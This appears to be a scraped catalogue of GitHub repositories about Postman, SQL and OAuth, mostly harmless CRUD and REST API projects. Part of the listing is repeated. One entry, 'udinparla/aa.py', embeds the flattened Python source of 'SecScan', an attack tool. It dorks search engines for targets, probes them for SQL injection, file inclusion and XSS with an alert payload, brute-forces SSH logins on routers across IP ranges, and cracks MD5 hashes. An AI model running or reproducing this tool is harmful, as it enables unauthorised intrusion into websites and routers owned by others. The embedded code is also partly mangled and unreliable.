alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
geekyanurag/Web-Services api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql |
Rest api creation for 3 sets of api's using php and mysql and used postman as client. | 0 stars | 0 watchers | 0 forks |
Hossam-PHP/PHP-Restful-Api-OOP- api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls |
Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php | 0 stars | 0 watchers | 0 forks |
iamwarning/message-api-with-nestjs api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql |
Simple API that performs a message CRUD connected to a mysql database using NestJS | 0 stars | 0 watchers | 0 forks |
Jespert88/FinalJavaTask api blueprint, asyncapi, client, hibernate, java, json schema, mysql, oauth, openid, postgres, postgresql, spring, sql, task |
Final java task where i have to build a RESTful Api with Java + spring + hibernate + mysql/postgresql + client(HTML / Postman)) | 0 stars | 0 watchers | 0 forks |
jmaribau/DemoHtCm api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools |
Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-tomee-mysql api blueprint, asyncapi, docker, json schema, mysql, oauth, openid, postman tests, sql, test, tests, tomee |
Docker with postman tests with tomee and mysql | 0 stars | 0 watchers | 0 forks |
komalng/TuringChallenges api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing |
This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. | 0 stars | 0 watchers | 0 forks |
kran/pm2ab api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql |
postman to api blueprint | 0 stars | 0 watchers | 0 forks |
LockeReed/knex-lesson api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql |
learning postgresql, knex, postico, postman | 0 stars | 0 watchers | 0 forks |
mayankpatel1004/nodejs-express-mvc-mysql api blueprint, asyncapi, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Nodejs with mysql, Express , MVC, Postman | 0 stars | 0 watchers | 0 forks |
meghnadsaha/REST-API-Web-Application api blueprint, application, asyncapi, client, data, database, json schema, mysql, oauth, openid, sql |
A simple CRUD application Framework - Jersey Jax-rs for creating RESTful APIs in Java Editor - Eclipse Database - mysql Rest API client - Postman(for making REST API calls) (6) Hibernate to interact with database. | 0 stars | 0 watchers | 0 forks |
neagkv/Mybatis-Spring-MySQL api blueprint, asyncapi, calling, data, database, json schema, mysql, oauth, openid, sql |
practice calling using mybatis to read from an api and populate a mysql database, with updates from postman | 0 stars | 0 watchers | 0 forks |
neomarmedina/prueba_meta api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables |
Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.php api blueprint, asyncapi, json schema, oauth, openid, sql |
A Php based Mysql Prepare Statement Wrapper Class. | 0 stars | 0 watchers | 0 forks |
philgookang/Postman.py api blueprint, asyncapi, json schema, oauth, openid, sql |
A Python based Mysql Wrapper Class. | 0 stars | 0 watchers | 0 forks |
psjoshi20/todo api blueprint, asyncapi, express, json schema, node, nodejs, oauth, openid, rest, restapi, sql, todo |
todo app using -psql-seq-nodejs-express-postman-restapi 29dec2019 | 0 stars | 0 watchers | 0 forks |
rashidmajeed/dotnetcore-postgresql api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi |
c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
rohitchatla/swagger.io-openAPI api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation |
For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy | 0 stars | 0 watchers | 0 forks |
sandipfadadu/api-in-core-php-mysqli api blueprint, asyncapi, issue, json schema, mysql, oauth, openid, sql |
Hellow Guys, This Script is Useful who want to develop api in core php with mysqli. This Code is Working 100% so no chance for any issue or Error. to GET Response use POSTMAN Extension. Thank You... | 0 stars | 0 watchers | 0 forks |
shahidur1/SpringBootMysqlHibernateRestApi_PostmanAngularOK api blueprint, asyncapi, json schema, oauth, openid, sql |
SpringBootMysqlHibernateRestApi_PostmanAngular Test OK | 0 stars | 0 watchers | 0 forks |
sharejee-prepare-teach/access-oauth2-with-postman access, api blueprint, asyncapi, auth, json schema, oauth, oauth2, openid, prepare, sql |
0 stars | 0 watchers | 0 forks | |
Suman-eng/SpringOAuthWithPostmanAndMysql api blueprint, asyncapi, json schema, oauth, openid, sql |
OAuth Authentication In Spring Boot | 0 stars | 0 watchers | 0 forks |
vertical-sudhir/SBMysqlCrudDemo api blueprint, asyncapi, json schema, oauth, openid, sql |
Spring Boot CRUD using MySql Database, Postman | 0 stars | 0 watchers | 0 forks |
Victor10-m/mysql-nodejs-rest-api api blueprint, asyncapi, json schema, mysql, node, nodejs, oauth, openid, rest, sql, todo |
Este repositorio tiene conexion a BD en mysql usa metodos get, post, put, delete desde postman | 0 stars | 0 watchers | 0 forks |
wesjones15/learning-apis-sql api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql |
Python, APIs, SQL, Postman, Docker | 0 stars | 0 watchers | 0 forks |
xinsnake/oauth-cmd-helper api blueprint, asyncapi, auth, helper, json schema, oauth, openid, sql |
OAuth2 Command Line helper... Tired of using Browser + Postman... | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
vxhly/NME-server api blueprint, asyncapi, json schema, oauth, openid, server, sql |
基于 Node.js + Mysql + Express 的 API 服务端 | 2 stars | 2 watchers | 0 forks |
yeosz/dtool api blueprint, asyncapi, fake, json schema, mysql, oauth, openid, sql, tool |
数据生成器,数据库工具,数据库填充,伪数据,faker,mysql数据字典,数据库比对 | 0 stars | 0 watchers | 4 forks |
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman- api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql |
No description available. | 1 stars | 1 watchers | 1 forks |
Ajesh777/LaravelApiVersioning api blueprint, asyncapi, json schema, oauth, openid, sql |
Laravel, API, Versioning, php, Composer, Postman, Node.js, artisan, sql, migrations, CRUD, Best Practices, Article API, Person API, Application Interface, Example, Training | 1 stars | 1 watchers | 1 forks |
martinberlin/postman-reporter api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests |
Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database | 1 stars | 1 watchers | 1 forks |
mohamed-abdo/performance-load-test api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit |
Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). | 1 stars | 1 watchers | 0 forks |
ivangfr/springboot-testing-mysql api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities |
The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman | 1 stars | 1 watchers | 0 forks |
ming-zh/node.js-xmysql-postman api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
node.js+xmysql+postman实现接口自动化测试,并校验数据库 | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
liyinchigithub/Omysql api blueprint, asyncapi, github, json schema, mysql, oauth, openid, sql |
postman操作Mysql数据库 | 0 stars | 0 watchers | 1 forks |
ahmadarif/laravel-oauth2 api blueprint, asyncapi, auth, json schema, laravel, oauth, oauth2, openid, sql |
Laravel + Oauth2 + Grant Type Password Example | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
Rutuja177/RestApi-CRUD-Operations api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing |
I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-node.js-xmysql- api blueprint, asyncapi, description, json schema, mysql, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
Kichachi/docker-postman-wildfly-mysql api blueprint, asyncapi, description, docker, json schema, mysql, oauth, openid, script, sql, wildfly |
No description available. | 0 stars | 0 watchers | 0 forks |
mathieupoulenard-pv/API-salesforce-openidConnect.postman api blueprint, asyncapi, description, json schema, oauth, openid, salesforce, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
psjoshi20/node-express-psql-seq-postman api blueprint, asyncapi, description, express, json schema, node, oauth, openid, script, sql |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
paulgrimaldo/demo-spring-hibernate api blueprint, asyncapi, hibernate, json schema, oauth, openid, spring, sql |
Ejemplo de SpringBoot, Hibernate, Mysql & Postman | 0 stars | 0 watchers | 0 forks |
aboelkassem/ChattingApp angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system |
real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite | 0 stars | 0 watchers | 0 forks |
alexkmartinez77/startnow-node200-sequelize-workshop api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop |
Using Postman and Express routes to run CRUD operations on Mysql database. | 0 stars | 0 watchers | 0 forks |
ash2042987/PromineoFinalProject api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql |
Respositiories,controllers, entities, mysql, Postman, Spring-boot | 0 stars | 0 watchers | 0 forks |
atljoseph/api.go.josephgill.io api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website |
This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. | 0 stars | 0 watchers | 0 forks |
avinash24p/Postman-SqlClient api blueprint, asyncapi, client, integrate, json schema, oauth, openid, single, sql |
Node App to integrate Postman like app and sql client in a single page app | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
ChillSpike/sprint-boot-jpa-mysql api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql |
Spring Boot JPA with mysql using POSTMAN client | 0 stars | 0 watchers | 0 forks |
cjkas/postman-widfly-mysql api blueprint, asyncapi, json schema, mysql, oauth, openid, sql |
0 stars | 0 watchers | 0 forks | |
ckailash/myob-php-oauth2 api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql |
Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection | 0 stars | 0 watchers | 0 forks |
crazyhuiliu/postman-Jenkins-xmysql-node.js api blueprint, asyncapi, json schema, mysql, node, oauth, openid, sql |
全接口自动化 | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-employees api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
cristina-ferreira/node-express-movies api blueprint, asyncapi, express, json schema, movie, movies, mysql, node, oauth, openid, sql |
wcs-node-02 node-express sq, mysql, postman | 0 stars | 0 watchers | 0 forks |
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
edwinchavez/Deber_poo_Efcv api blueprint, asyncapi, json schema, oauth, openid, postgres, postgresql, sql |
Deber de POO usando postgresql enviando datos desde postman | 0 stars | 0 watchers | 0 forks |
euhenriquemarques/WEBService-Java-springBoot api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools |
WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman | 0 stars | 0 watchers | 0 forks |
fe3dback/web-debug-tools api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools |
WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) | 0 stars | 0 watchers | 0 forks |
FP-GmbH/fcm-oauth-generator api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools |
FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. | 0 stars | 0 watchers | 0 forks |
